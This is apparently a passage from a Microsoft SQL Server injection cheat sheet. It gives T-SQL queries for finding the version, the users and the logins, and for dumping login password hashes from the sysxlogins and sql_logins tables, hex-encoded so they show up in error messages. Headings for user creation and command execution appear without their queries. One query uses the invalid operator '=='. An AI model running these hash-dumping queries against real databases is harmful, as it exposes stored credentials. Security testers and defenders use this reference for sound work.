MSSQL
Version
SELECT @@version;Comments
SELECT 1 -- comment
SELECT /*comment*/1Current User
SELECT user_name();
SELECT system_user;
SELECT user;
SELECT loginame FROM master..sysprocesses WHERE spid == @@SPIDList Users
SELECT name FROM master..sysloginsList Password Hashes (PRIV)
#MSSQL 2000
SELECT name, password FROM master..sysxlogins;
#MSSQL 2000. Need to convert to hex to return hashes in MSSQL error message / some version of query analyzer.
SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins;
#MSSQL 2005
SELECT name, password_hash FROM master.sys.sql_logins;
#MSSQL 2005
SELECT name + '-' + master.sys.fn_varbintohexstr(password_hash) from master.sys.sql_logins;List Privileges
List DBA Accounts
Current Database
List Databases
List Tables
List Columns
Find Tables from Column Name
Hostname, IP Address
Create Users (PRIV)
Delete Users (PRIV)
Make User DBA (PRIV)
Location of DB Files
Command Execution (PRIV)
Last updated